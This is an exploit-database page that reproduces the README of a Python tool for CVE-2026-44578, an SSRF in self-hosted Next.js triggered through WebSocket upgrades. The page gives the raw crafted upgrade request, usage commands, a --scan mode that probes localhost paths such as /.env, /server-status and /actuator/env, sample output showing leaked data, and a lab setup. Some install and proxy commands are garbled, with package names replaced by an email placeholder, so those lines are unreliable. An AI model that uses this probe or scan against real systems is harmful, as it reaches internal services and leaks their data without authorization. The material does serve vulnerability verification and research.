Sploitus

Exploit for verify-ghsa-c4j6-fc7j-m34r

kitploit · 2026-08-31

Exploit Code

MARKDOWN251 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-PANCHOCOSIL-VERIFY-GHSA-C4J6-FC7J-M34R
# verify-ghsa-c4j6-fc7j-m34r

针对 **GHSA-c4j6-fc7j-m34r** / **CVE-2026-44578** 的带内(in-band)验证器 —— Next.js 中经由 WebSocket 升级请求实现的服务器端请求伪造(SSRF)。

> ⚠️ 仅限已获授权的安全测试。你需自行确保拥有对传入本脚本的每个目标进行测试的权限。

## 漏洞详情

字段| 值  
---|---  
CVE| CVE-2026-44578  
GHSA| GHSA-c4j6-fc7j-m34r  
CWE| CWE-918 (SSRF)  
CVSS v3.1| 8.6 (高) — `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N`  
受影响版本| `next >=13.4.13 <15.5.16`, `>=16.0.0 <16.2.5`  
已修复版本| `15.5.16`, `16.2.5`  
修复提交| `c4f69086`  
不受影响| Vercel 托管;`output: "export"`;位于不转发 `Upgrade` 的反向代理之后的部署  
  
### 该漏洞的实际原理(已针对 15.5.15 与 15.5.16 进行实证验证)

  1. 攻击者与自托管的 Next.js 进程建立 TCP 连接,并发送一个请求行(request-URI)为绝对 URL 的 HTTP/1.1 WebSocket 升级请求:

root@kitploit:~
         
         GET http://anything/<path> HTTP/1.1
         Host: <target>
         Connection: Upgrade
         Upgrade: websocket
         Sec-WebSocket-Version: 13
         Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
         

  2. 在 `resolveRoutes` 中,URL 包含 `//`(所有绝对 URI 均如此),因而匹配“规范化重复斜杠”分支。该分支提前返回 `{ finished: true, statusCode: 308, parsedUrl: <mangled> }`。规范化器将 `http://host/path` 折叠为 `http:/host/path`(仅一个斜杠)。

  3. 在 `router-server.ts` 中,**补丁前** 的升级处理器忽略了 `finished`/`statusCode`,仅检查 `parsedUrl.protocol`。由于协议在规范化后仍然保留,因此它会调用 `proxyRequest(...)`。

  4. `proxyRequest` 对损坏后的 URL 执行 `url.format(parsedUrl)`,得到 `http:/host:port/path`。`http-proxy` 解析该目标后,发现其中没有 host(`url.parse('http:/...').host === null`),于是回退到其默认目标:**`localhost:80`** (对于 `https` 则为 `localhost:443`)。

  5. 因此,在实践中,该 SSRF 可让攻击者使 Next 向 **Next.js 主机自身的`localhost:80` / `localhost:443`** 发起 WebSocket 升级,并携带攻击者控制的路径。




**修复方案** (提交 `c4f69086`)让升级处理器在代理前检查 `finished && !statusCode`。308 规范化场景现在无法通过 `!statusCode` 检查,套接字将被直接关闭。

### 为何基于回调的带外(OOB)验证器不适用于本 CVE

该代理永远不会访问外部主机。如果你搭建 interactsh / Burp Collaborator / webhook 探针并期望 Next 进程回连,**它不会** ——连接只会到达目标机器上的 `localhost`。因此,本验证器使用从升级套接字读取的**带内信号** :存在漏洞的服务器会返回可辨识的错误响应体,已修复的服务器则不返回任何内容。

### 实际影响

SSRF 目标受限,但真实部署中仍有意义:

  * 与 Next 同宿主部署的 sidecar 容器 / 反向代理 / 管理面板,若它们绑定 `127.0.0.1:80` 或 `:443` 且信任源自 localhost 的请求。
  * 通过 HTTP 暴露在 `127.0.0.1:80` 上的 Docker 套接字(不常见但确实存在)。
  * 利用攻击者控制的 URI 路径与 WebSocket 升级语义,对任意 localhost HTTP 服务进行路径遍历。



AWS / GCP / Azure 元数据端点(`169.254.169.254`)**无法** 直接到达,因为该漏洞将目标固定为 localhost。

## 检测模型

对于每个目标,脚本会打开一个原始 TCP(或 TLS)套接字,发送构造好的升级请求,读取响应,并产生两个信号:

  * **`verdict`** — 漏洞是否存在。
  * **`impact_confirmed`** — SSRF 是否实际泄露了数据(即目标 `localhost:80/443` 上的共存服务是否应答,且我们是否读回了其响应)。



响应| 判定 (verdict)| `impact_confirmed`  
---|---|---  
包含 `Internal Server Error`| `vulnerable`| `false` — 漏洞已证实,但代理在 localhost 上未命中任何服务  
以 `HTTP/1.` 开头| `vulnerable_proxy_succeeded`| `true` — 已泄露真实响应数据  
空响应 / 正常关闭| `likely_patched`| `false` — 同样覆盖“非 Next”“反向代理剥离 Upgrade”“Vercel”等情况  
与无 Upgrade 的对照组一致| `front_end_intercepts`| `false` — 前端代理短路了两种探测;SSRF 从未到达 Next  
其他情况| `inconclusive`| `false`  
  
当 `impact_confirmed` 为 true 时,JSON 输出还会包含从泄露响应中解析出的 `upstream_status`、`upstream_server` 与 `upstream_content_type`(便于分类与撰写报告)。

### 前端代理误报防护

默认情况下,每个目标还会收到一条**对照探针** :使用相同的绝对 URI 请求行,但不携带 Upgrade 头(`Connection: close`)。如果前端对两条探针返回相同响应(状态行 + 容差范围内的长度),则说明目标主机自身的前端(nginx 400、Apache 400、CDN 边缘节点)拒绝了绝对 URI 请求行,SSRF 从未到达 Next。此时判定降级为 `front_end_intercepts`,JSON 输出中会包含从代理响应解析出的 `front_end_status` 与 `front_end_server`,以便操作者识别是哪个组件在拦截。

这消除了一个真实世界中观察到的误报场景:当自托管 Next 位于 nginx/Apache 之后时,这些代理会以通用 400 拒绝探针的 `GET http:///x HTTP/1.1` 请求行,而此前的检测器会将其误读为 `vulnerable_proxy_succeeded`。传入 `--no-control-probe` 可退出该防护并查看原始判定。

## 环境要求

  * Python 3.10+
  * 无第三方依赖(仅标准库)



## 用法

root@kitploit:~
    
    
    # 单目标
    python3 verify_ghsa_c4j6.py --target https://app.example.com
    
    # 通过重复参数指定多个目标
    python3 verify_ghsa_c4j6.py \
        --target https://app1.example.com \
        --target app2.example.com:3000 \
        --target 10.0.0.5:80
    
    # 从文件读取(每行一个目标;'#' 开头为注释)
    python3 verify_ghsa_c4j6.py --targets-file targets.txt
    
    # 从标准输入读取
    cat targets.txt | python3 verify_ghsa_c4j6.py
    
    # JSON Lines 输出,便于下游工具处理
    python3 verify_ghsa_c4j6.py --targets-file targets.txt --json
    
    # 通过该漏洞枚举目标 localhost:80/443 上的共存服务
    python3 verify_ghsa_c4j6.py --target https://app.example.com --scan
    
    # 同上,但使用自定义路径列表
    python3 verify_ghsa_c4j6.py --target ... --scan-paths-file my_paths.txt
    

### 扫描模式

`--scan` 通过该 SSRF 探针探测一组内置的常见路径(Apache/nginx 状态模块、健康与指标端点、Spring Boot Actuator、Go pprof、Docker 守护进程端点、常见管理面板、易泄露的配置文件、Elasticsearch 路由等)。

默认情况下,扫描模式会对每个目标额外发送一条**差分基线** 探针(随机不存在的路径)。后续探针仅当 `(status, body length)` 签名与基线存在差异时才会被标记为 `DIFF` —— 来自“未命中任何内容”的上游服务的统一 404 会被标记为 `noise`,不会虚增命中计数。传入 `--no-differential` 可报告所有到达服务的探针(旧版行为)。

输出按目标分组:

root@kitploit:~
    
    
    === vulnscope.local:3030 ===
      baseline (random path): verdict=vulnerable_proxy_succeeded   status=404  bytes≈500
      [VULN+] DIFF  /                              impact=YES  status=200  ct='text/html'
      [VULN+] DIFF  /.env                          impact=YES  status=200  ct='application/octet-stream'
      [VULN+] DIFF  /admin                         impact=YES  status=200  ct='application/octet-stream'
      [VULN+] DIFF  /index.html                    impact=YES  status=200  ct='text/html'
      [VULN+] DIFF  /server-status                 impact=YES  status=200  ct='application/octet-stream'
      [VULN+] noise /_health                       impact=YES  status=404  ct='text/html;charset=utf-8'
      [VULN+] noise /actuator/env                  impact=YES  status=404  ct='text/html;charset=utf-8'
      ... (另有 53 个 404 'noise' 路径已省略) ...
      -> 5 个差分命中 / 58 条探针
      -> 观察到的上游服务器: SimpleHTTP/0.6 Python/3.14.4
    

`DIFF` 行才是真正的命中 —— 即响应与随机路径基线存在差异(状态码不同或响应体长度不同)的路径。`noise` 行虽然也到达了某个 HTTP 服务,但产生的响应与基线相同 —— 通常是不值得关注的一律 404。当所有探针均为 `noise` 且不存在基线差异时,漏洞仍然存在,但该主机的 `localhost:80/443` 上没有有用的服务在监听。

### 参数

参数| 说明| 默认值  
---|---|---  
`--target URL`| 单个目标。可重复传入多个。| —  
`--targets-file PATH`| 每行一个目标的文件。| —  
`--probe-path PATH`| 构造绝对 URI 时使用的路径。将以该路径访问目标的 localhost 服务(按每目标令牌后缀记录日志)。| `/x`  
`--scan`| 枚举各目标 localhost 服务上的常见路径。每个目标发送一条差分基线探针及路径列表。| 关  
`--scan-paths-file PATH`| 扫描模式的自定义路径列表(每行一个)。隐含 `--scan`。| 内置  
`--no-differential`| 在 `--scan` 模式下跳过基线探针,报告所有到达服务的探针(旧版行为)。| 关  
`--no-control-probe`| 关闭前端短路防护(每个目标额外发送一条无 Upgrade 的探针)。当目标确认是直连的 Next 进程时使用。| 关  
`--timeout SEC`| 每个套接字的超时时间。| `5`  
`--concurrency N`| 并行探针数。| `10`  
`--insecure`| 跳过 TLS 证书校验。使用 `--proxy` 对 TLS 进行中间人时必需。| 关  
`--proxy URL`| 通过 HTTP CONNECT 代理隧道(Burp / mitmproxy / ZAP)。支持通过 `http://user:pass@host:port` 使用基本认证。TLS 目标要求 Python 3.11+。| 直连  
`--json`| 以 JSON Lines 而非人类可读文本输出。| 关  
  
目标可以是 `host`、`host:port` 或完整的 `http(s)://...` URL。

### 代理支持

将所有探针通过 HTTP CONNECT 代理隧道,以便在 Burp / mitmproxy / OWASP ZAP 中检查:

root@kitploit:~
    
    
    # 经由 Burp 测试明文 HTTP 目标
    python3 verify_ghsa_c4j6.py --target http://app.example.com --proxy http://127.0.0.1:8080
    
    # 经由 Burp 测试 HTTPS 目标(Burp 对 TLS 进行中间人 —— 需要 --insecure 或安装 Burp CA)
    python3 verify_ghsa_c4j6.py --target https://app.example.com --proxy http://127.0.0.1:8080 --insecure
    
    # 带基本认证的代理
    python3 verify_ghsa_c4j6.py --target ... --proxy http://user:some-email@example.com:3128
    

代理会看到一个 `CONNECT host:port`,随后是原始升级载荷 —— 当你希望 Burp 记录/重放/修改 SSRF 探针时非常有用。

## 本地复现

你可以用五条命令搭建一个带漏洞的实验室环境:

root@kitploit:~
    
    
    mkdir vuln-lab && cd vuln-lab
    npm init -y && npm i some-email@example.com react@19 react-dom@19
    mkdir pages && echo 'export default () => "ok"' > pages/index.js
    npx next build && npx next start -p 3030 &
    python3 ../verify_ghsa_c4j6.py --target 127.0.0.1:3030
    

输出:

root@kitploit:~
    
    
    [ VULN] target=127.0.0.1:3030  verdict=vulnerable  impact= no
            snippet: 'Internal Server Error'
    

换用 `some-email@example.com` 重复上述步骤,应看到 `verdict=likely_patched`。

### 影响演示(真实数据泄露)

`demo_impact.sh` 将 Next 运行在 `:80` 上(这样其被固定到 localhost 的 SSRF 目标 _就是_ Next 自身进程),并经由该漏洞读回 Next 自己的 HTML。需要 `sudo` 以绑定特权端口。

root@kitploit:~
    
    
    LAB_DIR=/path/to/next-vuln-lab ./demo_impact.sh
    

预期输出以 `IMPACT CONFIRMED — SSRF reached a service on the target localhost and read response data back` 结尾。

## 注意事项

  * **漏报** :Next 前任何不转发 `Upgrade` 头的反向代理都会掩盖该漏洞;脚本将报告 `likely_patched`。如有可能,请直接对 Next 进程重新测试。
  * **误报** :字面量字符串 `Internal Server Error` 理论上也可能由某个上游代理自行返回。为排除该情况,请以 `Connection: close`(而非 `Connection: Upgrade`)重新发送相同载荷 —— 真实的、存在漏洞的 Next 在此情形下将不再返回 Internal Server Error 响应体(走的是不同代码路径)。
  * **仅支持 HTTP/2 的目标** :不在处理范围内。`next start` 默认使用 HTTP/1.1。



## 负责任使用

仅测试你拥有或已获得明确书面授权进行评估的系统。

## 参考

  * 公告:https://github.com/advisories/GHSA-c4j6-fc7j-m34r
  * Next.js v15.5.16 发布:https://github.com/vercel/next.js/releases/tag/v15.5.16
  * Next.js v16.2.5 发布:https://github.com/vercel/next.js/releases/tag/v16.2.5
  * 修复提交:https://github.com/vercel/next.js/commit/c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8



## 许可证

MIT